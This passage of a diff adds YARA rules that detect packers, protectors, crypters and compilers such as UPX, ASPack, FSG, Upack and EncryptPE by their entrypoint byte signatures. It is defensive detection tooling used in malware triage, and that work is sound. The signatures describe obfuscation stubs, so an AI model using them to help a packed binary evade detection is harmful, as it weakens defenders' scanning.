+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+		$2 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_V022V023__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.22-V0.23 -> Dwing * 20080321"
+	strings:
+		$0 = {6A 07 BE ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_Mutilator_V16__Goat_e0f_
+{
+	meta:
+		description = "Goats Mutilator V1.6 -> Goat/_e0f"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCKnt_204_
+{
+	meta:
+		description = "PELOCKnt 2.04"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 FC EB 03 CD 20 C7 E8 00 00 00 00 EB 03 CD 20 69 5E EB 03 3A 4D 3A 0F 01 4E F4 EB 02 C7 05}
+		$1 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Outer_Technologies_PECrypt__Outer_Tech_
+{
+	meta:
+		description = "Outer Technologies PECrypt -> Outer Tech"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 9E 00 00 00 8D BD ?? ?? ?? ?? 8B F7 33 DB AD 33 C3 2D 2F 7B 38 13 C1 C0 10 35 3C 75 94 78 AB 43 E2 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _nMacro_recorder_10_
+{
+	meta:
+		description = "nMacro recorder 1.0"
+	strings:
+		$0 = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_070_PE_
+{
+	meta:
+		description = "UPX 0.70 [PE]"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 66 81 87 00 00 00 00 00 00 8D B0 EC 01 00 00 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2609__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.609 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_v12_Seek_and_Destroy_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Seek and Destroy Patch"
+	strings:
+		$0 = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 63 05 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 5A 05 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 4B 05 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 3C 05 00 00 6A 00 FF 75 08 E8 0E 05 00 00 A3 CA 39 40 00 C7 05 D2 39 40 00 2C 00 00 00 C7 05 D6 39 40 00 10 00 00 00 C7 05 DA 39 40 00 00 08 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 DD 04 00 00 C7 05 DA 39 40 00 00 00 00 00 C7 05 F6 39 40 00 00 30 40 00 C7 05 FA 39 40 00 01 00 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 AB 04 00 00 EB 5F EB 54}
+	condition:
+		$0 at entrypoint
+}
+rule _GIF89a_Graphics_format_
+{
+	meta:
+		description = "GIF89a Graphics format"
+	strings:
+		$0 = {47 49 46 38 39 61}
+	condition:
+		$0 at entrypoint
+}
+rule _LXExe_Executable_Image_
+{
+	meta:
+		description = "LX-Exe Executable Image"
+	strings:
+		$0 = {4C 58}
+	condition:
+		$0 at entrypoint
+}
+rule _IProtect_10_FxSubdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (FxSub.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+		$1 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _iPB_Protect_013__017__forgot_
+{
+	meta:
+		description = "iPB Protect 0.1.3 - 0.1.7 -> forgot"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+		$1 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V032__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.32 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 85 5C FF 16 72 57 2C 03 73 02 ?? ?? 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? ?? ?? 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 16 5A 9F 12 C0 D0 E9 74 0E ?? ?? ?? ?? ?? ?? ?? ?? ?? B5 01 FF 56 08 ?? ?? FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F ?? ?? D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 ?? ?? 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10 E2 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_4_
+{
+	meta:
+		description = "Crunch 4"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v10_
+{
+	meta:
+		description = "y0da's Crypter v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_DLL_Method_3_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 DLL Method 3"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110___dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.10  -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_30_
+{
+	meta:
+		description = "Borland Delphi 3.0"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_101b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.01b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D2 2A 44 00 B8 CC 2A 44 00 03 C5 2B 85 A5 2E 44 00 89 85 B1 2E 44 00 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient__UnknownCompiler_
+{
+	meta:
+		description = "Video-Lan-Client -> (UnknownCompiler)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_70_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 7.0)"
+	strings:
+		$0 = {EB 01}
+		$1 = {EB 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v302_v302a_v304_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a, v3.04 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+		$1 = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shrink_v10_
+{
+	meta:
+		description = "Shrink v1.0"
+	strings:
+		$0 = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+		$1 = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_v10b__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.0b -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+		$2 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_10__IonIce_
+{
+	meta:
+		description = "Exe Locker 1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+		$1 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_11_MTE__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.1 MTE -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyx_05_by_delikon_
+{
+	meta:
+		description = "UPolyx 0.5 by delikon"
+	strings:
+		$0 = {51 ?? C9 B9 ?? ?? ?? ?? 83 ?? 01 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V120_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.20 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 27 05 00 00 89 85 B6 05 00 00 5B FF B5 B6 05 00 00 56 FF D3 83 C4 08 8B B5 B6 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 92 05 00 00 83 C0 04 89 85 B2 05 00 00 EB 6E 56 FF 95 1F 05 00 00 0B C0 75 05 E8 C9 02 00 00 85 C0 0F 84 94 00 00 00 89 85 AE 05 00 00 8B C6 EB 2A 8B 85 B2 05 00 00 8B 00 50 FF B5 AE 05 00 00 E8 11 02 00 00 85 C0 74 72 89 07 83 85 B2 05 00 00 04 83 C7 04 8B 85 B2 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD 92 05 00 00 83 C0 04 89 85 B2 05 00 00 80 3E 01 75 8D 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 B6 05 00 00 FF 95 2B 05 00 00 68 00 80 00 00 6A 00 FF B5 B6 05 00 00 FF 95 2B 05 00 00 E8 61 00 00 00 E8 5C 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v200644_
+{
+	meta:
+		description = "Pe123  v2006.4.4"
+	strings:
+		$0 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+		$1 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 B8 FE FF FF 6A 40 8D 45 B0 50 E8 C0 FF FF FF 50 E8 8E FF FF FF 68 F8 00 00 00 8D 85 B8 FE FF FF 50 E8 A9 FF FF FF 03 45 EC 50 E8 74 FF FF FF E8 9B FF FF FF 03 85 38 FF FF FF 83 C0 34 89 45 FC E8 8A FF FF FF 03 85 38 FF FF FF 83 C0 38 89 45 F4 8B 45 FC}
+		$2 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _TPACK_v05c_m1_
+{
+	meta:
+		description = "T-PACK v0.5c -m1"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+		$1 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_Upack_030__032_beta__Dwing_
+{
+	meta:
+		description = "Upack Upack 0.30 - 0.32 beta -> Dwing"
+	strings:
+		$0 = {8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 1C 2B C7 AB E2 E5 8B 5E 34 8B 76 38 46 AD ?? C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_1200331812003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.3.18-1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
